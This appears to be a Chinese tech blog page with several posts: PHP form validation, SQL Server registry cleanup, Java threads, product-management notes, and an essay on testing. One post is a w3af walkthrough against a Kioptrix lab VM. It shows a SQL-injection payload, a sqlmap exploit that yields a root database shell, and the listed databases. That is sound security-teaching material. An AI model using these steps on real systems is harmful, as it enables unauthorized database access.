<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經(jīng)轉移至github,大家請訪問 http://qaseven.github.io/

    PHP 表單 - 必需字段

    本章節(jié)我們將介紹如何設置表單必需字段及錯誤信息。


    PHP - 必需字段

    在上一章節(jié)我們已經(jīng)介紹了表的驗證規(guī)則,我們可以看到"Name", "E-mail", 和 "Gender" 字段是必須的,各字段不能為空。

    字段驗證規(guī)則
    Name必需。 + 只能包含字母和空格
    E-mail必需。 + 必需包含一個有效的電子郵件地址(包含"@"和".")
    Website可選。 如果存在,它必須包含一個有效的URL
    Comment可選。多行字段(文本域)。
    Gender必需。 Must select one

    如果在前面的章節(jié)中,所有輸入字段都是可選的。

    在以下代碼中我們加入了一些新的變量: $nameErr, $emailErr, $genderErr, 和 $websiteErr.。這些錯誤變量將顯示在必須字段上。 我們還為每個$_POST變量增加了一個if else語句。 這些語句將檢查 $_POST 變量是 否為空(使用php的 empty() 函數(shù))。如果為空,將顯示對應的錯誤信息。 如果不為空,數(shù)據(jù)將傳遞給test_input() 函數(shù):

    <?php
    // 定義變量并默認設為空值
    $nameErr = $emailErr = $genderErr = $websiteErr = "";
    $name = $email = $gender = $comment = $website = "";

    if ($_SERVER["REQUEST_METHOD"] == "POST")
    {

      if (empty($_POST["name"]))
        {$nameErr = "Name is required";}
      else
        {$name = test_input($_POST["name"]);}

      if (empty($_POST["email"]))
        {$emailErr = "Email is required";}
      else
        {$email = test_input($_POST["email"]);}

      if (empty($_POST["website"]))
        {$website = "";}
      else
        {$website = test_input($_POST["website"]);}

      if (empty($_POST["comment"]))
        {$comment = "";}
      else
        {$comment = test_input($_POST["comment"]);}

      if (empty($_POST["gender"]))
        {$genderErr = "Gender is required";}
      else
        {$gender = test_input($_POST["gender"]);}
    }
    ?>


    PHP - 顯示錯誤信息

    在以下的HTML實例表單中,我們?yōu)槊總€字段中添加了一些腳本, 各個腳本會在信息輸入錯誤時顯示錯誤信息。(如果用戶未填寫信息就提交表單則會輸出錯誤信息):

    實例

    <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">

    Name: <input type="text" name="name">
    <span class="error">* <?php echo $nameErr;?></span>
    <br><br>
    E-mail:
    <input type="text" name="email">
    <span class="error">* <?php echo $emailErr;?></span>
    <br><br>
    Website:
    <input type="text" name="website">
    <span class="error"><?php echo $websiteErr;?></span>
    <br><br>
    <label>Comment: <textarea name="comment" rows="5" cols="40"></textarea>
    <br><br>
    Gender:
    <input type="radio" name="gender" value="female">Female
    <input type="radio" name="gender" value="male">Male
    <span class="error">* <?php echo $genderErr;?></span>
    <br><br>
    <input type="submit" name="submit" value="Submit"> 

    </form>

    運行實例 »

    posted @ 2014-10-11 14:59 順其自然EVO 閱讀(422) | 評論 (0)編輯 收藏

    如何徹底的卸載sql server數(shù)據(jù)庫

    好不容易裝上了sql server 2012數(shù)據(jù)庫,可是卻不能連接本地的數(shù)據(jù)庫,后來發(fā)現(xiàn)缺少一些服務,于是決定重新安裝,但是卸載卻很麻煩,如果卸載不干凈的話,重新安裝會出問題,所以下面就總結一些方法:
      在卸載sql server 2012后,大家都希望能夠將注冊表信息完全刪干凈,下面就將教您徹底刪除sql server 2012注冊表的方法,供您參考,刪除之前,請一定要做好備份工作喲。
      在卸載sql server 2012開始——運行:輸入regedit 進入注冊表編輯器,進入之后執(zhí)行下列操作:
      1.徹底刪除sql server 2012:
      hkey_local_machine\software\Microsoft\MSSQLServer
      hkey_local_machine\software\Microsoft\Microsoft SQL Server
      hkey_current_user\software\Microsoft\Microsoft SQL Server
      hkey_current_user\software\Microsoft\MSSQLServer
      hkey_local_machine\system\currentcontrolset\control\sessionmanager\pendingfileren       ameoperations
      2.注冊表中的相關信息刪除:
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer。
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSDTC。
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations項目,并刪除它。這樣就可以清除安裝暫掛項目
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\setup
      刪除ExceptionComponents
      3.運行注冊表,刪除如下項:
      HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server
      HKEY_USERS\S-1-5-21-2668230077-3704407121-3760209252-500\Software\Microsoft\Microsoft SQL Server
      HKEY_USERS\.DEFAULT\Software\Microsoft\VisualStudio
      HKEY_USERS\.DEFAULT\Software\Microsoft\SQL Server Management Studio
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
      4.查看服務列表里面有哪些sqlserver的服務殘留,然后在以下地方,將sqlserver相關的服務全部刪除.
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
      將SQL SERVER安裝路徑下,如:C盤——Program File下的Microsoft SQL Server 文件夾刪除
      重啟計算機
      SQL SERVER 2012 真的好煩~不容易卸干凈的~下面的方法提供給那些懶得重裝系統(tǒng)的“懶人”~ 親測~
      1.停掉SQL SERVER 2012所有相關服務
      2.在控制面板“添加刪除程序”中,刪除SQL SERVER2012相關的程序
      3.下載 Windows Install Clean Up 工具卸載SQL 2012組件 (google it ~關于怎么用懶得寫,看看就知道了)刪除所有SQL服務
      4.清除注冊表
      將HKEY_CURRENT_USER---Software----Microsoft下的Microsoft SQL Server文件夾全部刪除
      將HKEY_LOCAL_mACHINE---SOFTWARE---Microsoft下的Microsoft SQL Native Client ,Microsoft SQL Server, Microsoft SQL Server 2012Redist全部刪除
      5.刪除殘留文件
      6.將SQL SERVER安裝路徑下,如:C盤——Program File下的Microsoft SQL Server 文件夾刪除
      7.重啟計算機 (這世界清凈了)
      注意:執(zhí)行sqlserver2012提供的卸載實例程序,雖然卸載掉了實例,但是在系統(tǒng)的服務中任然看得到該實例.那么,先按照上面的方法清理注冊表,然后再重啟計算機即可修復軟件安裝問題和軟件卸載問題
      自動診斷您的計算機上會阻止安裝和卸載程序的問題。 幫助修復無法正常卸載的程序和阻止新程序安裝的程序。
      修復的問題...
      刪除 64 位操作系統(tǒng)上錯誤的注冊表項。
      控制損壞的升級(修補)數(shù)據(jù)的 Windows 注冊表項。
      解決阻止新程序安裝的問題。
      解決阻止程序完全卸載和阻止新的安裝和更新的問題。
      僅當程序無法使用 Windows 的“添加/刪除程序”功能卸載時,才使用此疑難解答程序進行卸載。
      運行于...
      Microsoft Windows Server 2003
      Microsoft Windows Server 2003 R2
      Microsoft Windows XP
      Windows 7
      Windows Server 2008
      Windows Server 2008 R2
      Windows Vista
      Windows 8
      Windows 8.1
      Windows Server 2012 editions
      Windows Server 2012 R2
      適用于...
      Microsoft Visual Studio 2005
      Microsoft Visual Studio 2005 Professional Edition
      Microsoft Visual Studio 2005 Professional Edition with MSDN Premium Subscription
      Microsoft Visual Studio 2005 Professional Edition with MSDN Professional Subscription
      Microsoft Visual Studio 2008
      Microsoft Visual Studio 2008 Standard Edition
      Microsoft Visual Studio 2008 Professional Edition
      Microsoft Visual Studio 2008 Express Edition
      Microsoft Visual Studio 2008 Academic Edition
      Microsoft Visual Studio 2008 Software Development Kit
      Microsoft Visual Studio 2008 Tools for Applications Software Development Kit
      Microsoft Visual Studio 2008 Shell (integrated mode)
      Microsoft Visual Studio 2008 Shell (isolated mode) Redistributable Package
      Microsoft Visual Studio 2010
      Microsoft Visual Studio 2010 Ultimate with MSDN
      Microsoft Visual Studio 2010 Ultimate
      Microsoft Visual Studio 2010 Professional with MSDN
      Microsoft Visual Studio 2010 Professional
      Microsoft Visual Studio 2010 Professional with MSDN Embedded
      Microsoft Visual Studio 2010 Premium
      Microsoft Visual Studio 2008 Professional Edition with MSDN Embedded
      Microsoft Visual Studio 2010 Remote Debugger
      Microsoft Visual Studio 2010 Shell (Isolated)
      Microsoft Visual Studio 2010 Shell (Integrated)
      Microsoft Visual Studio 2010 Software Development Kit

    posted @ 2014-10-11 11:22 順其自然EVO 閱讀(10203) | 評論 (0)編輯 收藏

    如何創(chuàng)建并運行java線程

     Java線程類也是一個object類,它的實例都繼承自java.lang.Thread或其子類。 可以用如下方式用java中創(chuàng)建一個線程:
      Tread thread = new Thread();
      執(zhí)行該線程可以調(diào)用該線程的start()方法:
      thread.start();
      在上面的例子中,我們并沒有為線程編寫運行代碼,因此調(diào)用該方法后線程就終止了。
      編寫線程運行時執(zhí)行的代碼有兩種方式:一種是創(chuàng)建Thread子類的一個實例并重寫run方法,第二種是創(chuàng)建類的時候實現(xiàn)Runnable接口。接下來我們會具體講解這兩種方法:
      創(chuàng)建Thread的子類
      創(chuàng)建Thread子類的一個實例并重寫run方法,run方法會在調(diào)用start()方法之后被執(zhí)行。例子如下:
      public class MyThread extends Thread {
      public void run(){
      System.out.println("MyThread running");
      }
      }
      可以用如下方式創(chuàng)建并運行上述Thread子類
      MyThread myThread = new MyThread();
      myTread.start();
      一旦線程啟動后start方法就會立即返回,而不會等待到run方法執(zhí)行完畢才返回。就好像run方法是在另外一個cpu上執(zhí)行一樣。當run方法執(zhí)行后,將會打印出字符串MyThread running。
      你也可以如下創(chuàng)建一個Thread的匿名子類:
      Thread thread = new Thread(){
      public void run(){
      System.out.println("Thread Running");
      }
      };
      thread.start();
      當新的線程的run方法執(zhí)行以后,計算機將會打印出字符串”Thread Running”。
      實現(xiàn)Runnable接口
      第二種編寫線程執(zhí)行代碼的方式是新建一個實現(xiàn)了java.lang.Runnable接口的類的實例,實例中的方法可以被線程調(diào)用。下面給出例子:
      public class MyRunnable implements Runnable {
      public void run(){
      System.out.println("MyRunnable running");
      }
      }
      為了使線程能夠執(zhí)行run()方法,需要在Thread類的構造函數(shù)中傳入 MyRunnable的實例對象。示例如下:
      <span style="color: #ff0000;">Thread thread = new Thread(new MyRunnable());</span>
      thread.start();
      當線程運行時,它將會調(diào)用實現(xiàn)了Runnable接口的run方法。上例中將會打印出”MyRunnable running”。
     同樣,也可以創(chuàng)建一個實現(xiàn)了Runnable接口的匿名類,如下所示:
      Runnable myRunnable = new Runnable(){
      public void run(){
      System.out.println("Runnable running");
      }
      }
      Thread thread = new Thread(myRunnable);
      thread.start();
      創(chuàng)建子類還是實現(xiàn)Runnable接口?
      對于這兩種方式哪種好并沒有一個確定的答案,它們都能滿足要求。就我個人意見,我更傾向于實現(xiàn)Runnable接口這種方法。因為線程池可以有效的管理實現(xiàn)了Runnable接口的線程,如果線程池滿了,新的線程就會排隊等候執(zhí)行,直到線程池空閑出來為止。而如果線程是通過實現(xiàn)Thread子類實現(xiàn)的,這將會復雜一些。
      有時我們要同時融合實現(xiàn)Runnable接口和Thread子類兩種方式。例如,實現(xiàn)了Thread子類的實例可以執(zhí)行多個實現(xiàn)了Runnable接口的線程。一個典型的應用就是線程池。
      常見錯誤:調(diào)用run()方法而非start()方法
      創(chuàng)建并運行一個線程所犯的常見錯誤是調(diào)用線程的run()方法而非start()方法,如下所示:
      Thread newThread = new Thread(MyRunnable());
      newThread.run();  //should be start();
      起初你并不會感覺到有什么不妥,因為run()方法的確如你所愿的被調(diào)用了。但是,事實上,run()方法并非是由剛創(chuàng)建的新線程所執(zhí)行的,而是被創(chuàng)建新線程的當前線程所執(zhí)行了。也就是被執(zhí)行上面兩行代碼的線程所執(zhí)行的。想要讓創(chuàng)建的新線程執(zhí)行run()方法,必須調(diào)用新線程的start方法。
      線程名
      當創(chuàng)建一個線程的時候,可以給線程起一個名字。它有助于我們區(qū)分不同的線程。例如:如果有多個線程寫入System.out,我們就能夠通過線程名容易的找出是哪個線程正在輸出。例子如下:      注意:此處輸出的是:New Thread
      MyRunnable runnable = new MyRunnable();
      Thread thread = new Thread(runnable, "New Thread");
      thread.start();
      System.out.println(thread.getName());
      需要注意的是,因為MyRunnable并非Thread的子類,所以MyRunnable類并沒有getName()方法。可以通過以下方式得到當前線程的引用:
      Thread.currentThread();
      因此,通過如下代碼可以得到當前線程的名字:注意:此處輸出的是:main    感興趣的朋友可以驗證下。
      String threadName = Thread.currentThread().getName();
      線程代碼舉例:
      這里是一個小小的例子。首先輸出執(zhí)行main()方法線程名字。這個線程JVM分配的。然后開啟10個線程,命名為1~10。每個線程輸出自己的名字后就退出。
      public class ThreadExample {
      public static void main(String[] args){
      System.out.println(Thread.currentThread().getName());
      for(int i=0; i<10; i++){
      new Thread("" + i){
      public void run(){
      System.out.println("Thread: " + getName() + "running");
      }
      }.start();
      }
      }
      }
      需要注意的是,盡管啟動線程的順序是有序的,但是執(zhí)行的順序并非是有序的。也就是說,1號線程并不一定是第一個將自己名字輸出到控制臺的線程。這是因為線程是并行執(zhí)行而非順序的。Jvm和操作系統(tǒng)一起決定了線程的執(zhí)行順序,他和線程的啟動順序并非一定是一致的。

    posted @ 2014-10-11 11:20 順其自然EVO 閱讀(172) | 評論 (0)編輯 收藏

    PM成長日記—需求大作戰(zhàn)

    半年的時間,雖然參加了部分的產(chǎn)品規(guī)劃,但是在什么時間節(jié)點,完成神馬功能,都是更高level的PM決定,作為新人,更多的從事需求執(zhí)行;需求的執(zhí)行并不是簡單的來什么需求,就做神馬樣子的產(chǎn)品,需求從提出到交付研發(fā),有一系列的論證過程,這里稱作為需求大作戰(zhàn)。
      什么是需求
      大家都在講需求分析,但是什么是需求,軟件工程中提供了一系列復雜的解釋。我所理解的需求就是,用戶用的不爽、不舒服、不合適的,我們就要去解決這樣的問題。不管在產(chǎn)品的任何階段,把用戶放在首位,是否滿足了用戶需求,要么解決了痛點,要么帶來快感,這才是必要的需求。
      需求獲取
      需求獲取有多種途徑:用戶訪談、調(diào)研問卷、其他渠道的反饋
      用戶訪談:通過6-8個(針對一個或者一段時間的產(chǎn)品迭代)用戶訪談,定性了解用戶的使用情況,最好的訪談形式,是在用戶所熟悉的場景中,還原使用產(chǎn)品的整個過程;不過這樣的成本確實蠻高,邀請一個用戶需要耗費大量的時間和金錢;所以一般都是邀請用戶到公司參加測試、或者直接電話訪談的形式。
      O2O的用戶除了日常使用者之外,背后還有忽視掉的商戶,而商戶端的用戶情況非常復雜,包含:服務員、前臺、迎賓、收銀、市場經(jīng)理、店長、老板、連鎖店老板、甚至公關營銷和法務,所以針對商戶端的用戶訪談,電話是不合理的,除了跑到店里體驗服務外,就是跟以上角色一對一聊,才會獲取到一線的需求,以及產(chǎn)品的評價(這一系列文章里面,考慮到專門有一篇,就是寫用戶訪談,一半重點會放在商戶側)。
      調(diào)研問卷:訪談是定性的了解,那調(diào)研問卷就是定量的研究,針對訪談中出現(xiàn)的問題,通過調(diào)研問卷的方式,從更大規(guī)模的用戶來論證,并根據(jù)調(diào)研問卷結果,將需求做優(yōu)先級處理。有時候調(diào)研問卷不只是為了論證需求的存在,同樣可以論證需求是否合理。
      但是你如果直接問用戶,如果我增加一個功能,你需要么?大部分用戶回答都是需要(不管是訪談還是問卷),所以需要通過引導式的內(nèi)容,或者問卷中,開放式的問題,來收集并論證新功能的必要性。如果真的是用戶急需,肯定會有用戶強烈提出(這部分天使用戶需要好好珍惜)。
      其他渠道的反饋:很多渠道的反饋,吐槽也好,表揚也罷,都說明天使用戶對你產(chǎn)品的關心;除了產(chǎn)品自身的反饋渠道之外,還有論壇、圍脖、知乎等等第三方網(wǎng)站;另外媒體渠道,現(xiàn)在的36kr等、可以看到競品的報道,可以嘗試分析下報道背后的原因,以及對自己報道后,各界對自己產(chǎn)品的反饋。現(xiàn)在不只是PM會關注圍脖神馬的,連各個公司大佬們都會積極去關注。
      需求分析
      通過種種方式,需求收集回來了,整理整理,to do list里面少則十幾條,多則上百條;當然了調(diào)研問卷會幫你篩選出一批,可是剩下的部分,怎么去論證需求的合理性、必要性、甚至是否為無理需求呢,從實踐以及跟前輩交流中,總結了以下三種方式:
      用戶怎么說:用戶永遠是對的;這句話對,也不對。用戶會告訴你想要什么,但是用戶不會告訴你他的需求是什么;所以需要從用戶那挖掘需求。
      饅頭和海底撈的例子,小明說晚上我們?nèi)コ院5讚瓢桑瑸槭裁茨兀恳驗樗I了,其實他的本質(zhì)需求是餓了,給他兩饅頭,可能會不爽,但是絕對解決了小明的需求;同樣的,老板說我請大家吃飯吧,讓你安排,你安排饅頭,會被所有人K死吧,相反,這時候海底撈就是個不錯的選擇
      所有用戶怎么說,只是描述用戶的行為,使用習慣,以及所要的預期結果;真正如何去滿足用戶的這個預期結果,就是PM需要從用戶深挖出需求,然后通過產(chǎn)品方式去解決。
      數(shù)據(jù):一切以數(shù)據(jù)說話,這是產(chǎn)品的準則,雖然數(shù)據(jù)有時候會騙人,也有很多為了數(shù)據(jù)好看故意掩蓋的行為。但是真實可靠的數(shù)據(jù),確實是能為產(chǎn)品增色,給用戶帶來方便。
      舉個例子:在做App的時候,第一版本是拍腦袋,根據(jù)競品分析和自己判斷,顯示神馬內(nèi)容;上線一個月之后再進行優(yōu)化,我就選取了大部分用戶使用的幾個場景和動作,分別做了匹配;交上去被罵了一頓(略夸張,不過自信心還是被打擊到了),肯定有更好的方式來實現(xiàn)。我就靜心仔細思考,用戶在使用時,每天在不同時間段,他的動作和目標是不一樣的,所以我將每天以小時分段,看每個時間段,用戶都進行神馬操作,發(fā)現(xiàn)在每個時間段中,60%甚至更高的用戶都是一樣的目標和操作;
      所以就簡單了,將24個小時前后有類似操作的時間段做個區(qū)分,用戶在這個時間段打開App看到的內(nèi)容,就是大部分人所操作的,可能影響小部分人,但是方便了更多的用戶,畢竟產(chǎn)品永遠是為大部分人去準備的。
      競爭對手怎么做:有一句話說得好,我們不需要重復造輪子;圓是上天賜予我們的禮物,前輩們的產(chǎn)品和設計,也是他們賜予我們后輩的財富。在競品分析的時候,就可以留意別人好的設計;可能有人會覺得不恥,不就是抄襲么?對的,世間那么多產(chǎn)品,對個功能的設計,你能抄襲或者借鑒到,至少說明一你有用心留意并觀察別人的產(chǎn)品;二別人的產(chǎn)品至少被用戶接受了;三他已經(jīng)慢慢幫你培養(yǎng)了用戶的使用習慣;四直接證明此需求存在。模仿是一種很穩(wěn)妥的方式,畢竟世間就只有一個喬布斯;此外在模仿中升華,做出更完美的產(chǎn)品,豈不是更好。
      當然了,不能盲目的去跟風,別人有,我也要有的思路是不對的。這里所講的,是你通過別人的產(chǎn)品去論證需求,別人成功的產(chǎn)品,去實現(xiàn)你的需求。產(chǎn)品做加法一點都不難,難的是做減法,如果能在別人成功的產(chǎn)品上做減法,那還是需要嚴密的論證以及大膽的嘗試。
    對需求做決策
      論證了需求的存在,以及必要性,下面就是對需求的優(yōu)先級交付開發(fā),有些需求,因為優(yōu)先級低,可能永遠處于被砍掉的部分,或者一直呆在to do list直至天荒地老。
      需求優(yōu)先級:
      需求永遠是做不完的,而研發(fā)資源永遠是不夠的,怎么辦?所以PM需要對所有需求的優(yōu)先級進行分類,研發(fā)按照需求優(yōu)先級列表,一個個進入開發(fā)隊列。如何劃分優(yōu)先級:MVP(最小化可用產(chǎn)品),快速迭代,迅速論證需求及產(chǎn)品的合理性。當每個需求出現(xiàn)在列表中時,不停的問,這個需求有必要么?有必要優(yōu)先級這么高么?不做用戶會不會發(fā)狂?不做產(chǎn)品是不是能run?不做是否不通過產(chǎn)品線下也有解決方案,成本和線上比怎么樣?經(jīng)過這一系列論證,某些是必須要做,而且立馬要做;有些是必須要做,但是并沒有那么緊急;有些甚至是必要,但是卻不是當前階段需要的。少即是多,所有功能的累加并不難;難的是只提供用戶核心的功能和產(chǎn)品,并讓用不離不開他,再在這樣的功能上,輕松調(diào)整和擴展產(chǎn)品。
      那些被砍掉的需求:
      從參與工作的第一個月,就整理了一個feature list,都是大家腦暴,或者研究競品給產(chǎn)品未來做的規(guī)劃,現(xiàn)在回頭來看,里面所描述的功能,絕大部分都沒有去做。一方面的原因是產(chǎn)品還很小,沒必要大而全;另一方面部分功能,完全拍腦袋決定,根本沒有必要在產(chǎn)品中增加。
      feature list是產(chǎn)品規(guī)劃方面的需求,具體執(zhí)行層面,每次需求評審,會故意放進很多需求;老板可以砍,技術可以砍,QA可以砍;需求多研發(fā)肯定會叫,象征性地砍掉不需要的需求,適當?shù)陌巡糠中枨笱悠冢灰WC你所要的核心需求,在這次迭代完成就好了,畢竟已經(jīng)砍了一部分需求,不好意思一直砍。具體怎么交付技術需求,跟技術溝通會專門再寫一篇。
      交互視覺和重構
      讓專業(yè)的人做專業(yè)的事情,雖說PM應該是個70%的交互設計師,但是公司既然有了交互設計師,那交互的工作就十分信任地讓他們?nèi)プ觯籔M做的只是跟交互設計師描述清楚用戶使用場景。當然作為新人,我經(jīng)常犯的錯誤就是,我這里需要加XX功能,而不是我要解決XX問題。視覺重構同理,PM就是要利用好這些資源,并充分地信任他們。
      關注用戶體驗:產(chǎn)品要么給用戶帶來利益,要么方便用戶使用;脫離了這兩點的產(chǎn)品都是耍流氓。若一款產(chǎn)品既給用戶帶來利益又有非凡的體驗,才是最成功的。用戶體驗為啥重要,因為體驗會影響用戶口碑,口碑影響產(chǎn)品成敗,產(chǎn)品成敗決定一切。用戶體驗包含用戶所看到的一切元素,以及交互過程,除了顯性的特性外,體驗上隱性傳遞給用戶的信息,會給造成暗示,如某處金額現(xiàn)實為負時,傳遞出的隱性情感肯定是偏向負面的。
      PM要學會講故事:這里講故事的意思,是跟UED的童鞋進行溝通,感性的傳達肯定比理性的說教要好。某天交互設計師發(fā)了這樣一條微博:我總是忽略一件事,PM同學提出的究竟是需求,還是ta出于對需求的認知而擬定的一種解決方案。老大回復的是:往往是后者,junior PM因為junior所以會是后者,senior PM因為senior所以還是后者。
      作為一個剛剛入門,還在摸索階段的junior PM,反思下平時的工作,面對所有需求時,第一直覺都是想到,如何去解決這個問題;而不是描述用戶的使用場景,在這樣情況下用戶所表現(xiàn)的焦慮和拙計,并將此問題拋給交互,讓他以專業(yè)的知識來解決。交互設計師不是單純的畫原型圖,他們能賦予產(chǎn)品生命和靈感,讓用戶體驗到極致,所以讓他們發(fā)揮ownership來解決問題,遠比執(zhí)行要好。
      需求文檔
      剛剛開始實習時(不是在點評),寫過半年左右的需求文檔,當時因為瀑布模型開發(fā),一期需求寫一個月,評審后交付開發(fā);然后二期需求文檔同時進入編寫。當時情形不做評價,對個人的鍛煉就是文檔算是入門鳥,正式工作后,文檔方面也沒有任何專門培訓,寫過幾個之后,老大、技術、QA表示還行,半年時間,項目的大部分需求文檔都是我產(chǎn)品,當然需求也是我在跟,少說也有幾百頁,正當我粘粘自喜的時候,發(fā)現(xiàn)......
      發(fā)現(xiàn)啥呢,研發(fā)基本不會關注的文檔,他們都是按照他們的想法和思路進行開發(fā),只有在進行不下去的時候,才會去關注下細節(jié);或者在出現(xiàn)爭議的時候,通過需求文檔來check;可能文檔唯一的讀者只剩下QA了,因為他們要寫測試用例;看了我們敬業(yè)的QA的case,我回過頭看我的需求文檔,瞬間汗顏。
      之前犯的錯誤是,覺得需求文檔一定要按照格式來寫,當然了這對新人上手有好處;寫多了會發(fā)現(xiàn),其實是沒必要的工作。文檔只需要清晰傳遞要完成的功能,以及詳細的描述就夠了,具體啥形式,是無所謂的。
      以前犯傻,寫過的一篇關于如何寫需求文檔。
      那些年犯過的錯誤
      1、替技術思考問題:因為在學校專業(yè)是計算機和軟件,所以會不由自主地幫技術思考問題,前兩個月在需求評審時,會說這個需求工作量不大;甚至會說這個可以這樣實現(xiàn);這是個不好的習慣,還好慢慢改掉了,主要傷害了他們的ownership。
      2、忽視用戶體驗:在App端,擅自做決定,界面看似更簡潔,但是實際增加了用戶的操作成本,這件事情被狠P了一頓,從此長記性了。
      3、需求沒有詳細的論證:拍腦袋想一些需求,或者論證的數(shù)據(jù)不夠全面,只看到表面數(shù)據(jù),并沒有深挖背后實際需求。
      4、過分強調(diào)文檔的作用:剛剛入門的PM,對于所有人都忽視你的PRD,那種惆悵是無法言語的,調(diào)整好自己心態(tài)就好了,一切為了產(chǎn)品。
      5、木有傳遞業(yè)務價值:不是所有技術都關注業(yè)務,但是在傳達需求時,需要講清楚需求的背景、數(shù)據(jù)、以及原由;如果不做這些,技術就淪為徹底的碼農(nóng),接受需求,然后開發(fā)出來,具體的價值體現(xiàn),以及自我滿足,需要從產(chǎn)品這里得到。
      犯過的錯還有很多很多,這里就不一一列舉
      此外,今天再翻一遍身邊產(chǎn)品的書,發(fā)現(xiàn)大多會講產(chǎn)品規(guī)劃,很少講需求如何具體執(zhí)行。產(chǎn)品規(guī)劃確實不是我這個level所需要花精力考慮的,所以這篇主要目的是需求執(zhí)行、論證,以及交付技術,下一篇準備詳細寫,如何跟技術溝通并保證產(chǎn)品上線。
    English »
     
    English »
     

    posted @ 2014-10-11 11:19 順其自然EVO 閱讀(203) | 評論 (0)編輯 收藏

    W3af簡單使用教程

     w3af是一個Web應用程序攻擊和檢查框架.該項目已超過130個插件,其中包括檢查網(wǎng)站爬蟲,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),遠程文件包含(RFI)等.該項目的目標是要建立一個框架,以尋找和開發(fā)Web應用安全漏洞,所以很容易使用和擴展.
      0×00 概述
      在BackTrack5R3下使用w3af測試Kioptrix Level 4的SQL注入漏洞.
      0×01 簡介
      w3af是一個Web應用程序攻擊和檢查框架.該項目已超過130個插件,其中包括檢查網(wǎng)站爬蟲,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),遠程文件包含(RFI)等.該項目的目標是要建立一個框架,以尋找和開發(fā)Web應用安全漏洞,所以很容易使用和擴展.
      0×02 安裝
      root@bt:~# apt-get install w3af
      0×03 啟動
      root@bt:~# cd /pentest/web/w3af/root@bt:/pentest/web/w3af# ./w3af_console
      0×04 漏洞掃描配置
      w3af>>> plugins//進入插件模塊w3af/plugins>>> list discovery //列出所有用于發(fā)現(xiàn)的插件w3af/plugins>>> discovery findBackdoor phpinfo webSpider //啟用findBackdoor phpinfo webSpider這三個插件w3af/plugins>>> list audit //列出所有用于漏洞的插件w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss //啟用blindSqli fileUpload osCommanding sqli xss這五個插件w3af/plugins>>> back//返回主模塊w3af>>> target//進入配置目標的模塊w3af/config:target>>>set target http://192.168.244.132///把目標設置為http://192.168.244.132/w3af/config:target>>> back//返回主模塊
      0×05 漏洞掃描
    w3af>>> start
    ---New URL found by phpinfo plugin: http://192.168.244.132/New URL found by phpinfo plugin: http://192.168.244.132/checklogin.phpNew URL found by phpinfo plugin: http://192.168.244.132/index.phpNew URL found by webSpider plugin: http://192.168.244.132/New URL found by webSpider plugin: http://192.168.244.132/checklogin.phpNew URL found by webSpider plugin: http://192.168.244.132/index.phpFound 3 URLs and 8 different points of injection.The list of URLs is:- http://192.168.244.132/index.php- http://192.168.244.132/checklogin.php- http://192.168.244.132/The list of fuzzable requests is:- http://192.168.244.132/ | Method: GET- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")- http://192.168.244.132/checklogin.php | Method: GET- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")- http://192.168.244.132/index.php | Method: GET- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.Scan finished in 19 seconds.---//開始掃描
      0×06 漏洞利用配置
      w3af>>> exploit //進入漏洞利用模塊w3af/exploit>>> list exploit//列出所有用于漏洞利用的插件w3af/exploit>>> exploit sqlmap //使用sqlmap進行SQL注入漏洞的測試
    ---Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...Vulnerability successfully exploited. This is a list of available shells and proxies:- [0] <sqlobject ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>Please use the interact command to interact with the shell objects.---//測試存在SQL注入漏洞//這里要記住shell objects(這里是0),等一下要用到0x07 漏洞利用w3af/exploit>>> interact 0//interact + shell object就可以利用了---Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shellw3af/exploit/sqlmap-0>>> ---//sqlmap的一個交互式模塊w3af/exploit/sqlmap-0>>> dbs   ---Available databases:  [3]:[*] information_schema[*] members[*] mysql---//成功獲得數(shù)據(jù)庫信息
     

    posted @ 2014-10-11 11:09 順其自然EVO 閱讀(931) | 評論 (0)編輯 收藏

    測試工作挺枯燥的,怎么能夠解決這個問題?

    引言:
      過去的十年,我到國內(nèi)很多的企業(yè)去做軟件測試的培訓,培訓結束后,答疑階段,有些工程師們問我:"王老師,測試工作挺枯燥的,怎么能夠解決這個問題?"
      一般情況下,我會反問:"請你告訴我,有哪樣工作是不枯燥?"
      有人說:"軟件開發(fā)不枯燥。"
      我說:"讓你寫相似的代碼,成天修改Bug,連續(xù)寫三年,你認為枯燥么?"
      大家又說枯燥。又有人說:"當老板不枯燥。"
      我說:"那就自己去當老板,當了老板就知道,老板面對的困難不是枯燥,而是公司隨時可能倒閉的壓力。"
      俗話說:一屋不掃,何以掃天下。任何工作如果不扎扎實實得做上幾年的時間,談不上什么專家。缺少了專業(yè)性也就缺少了職業(yè)的選擇性。
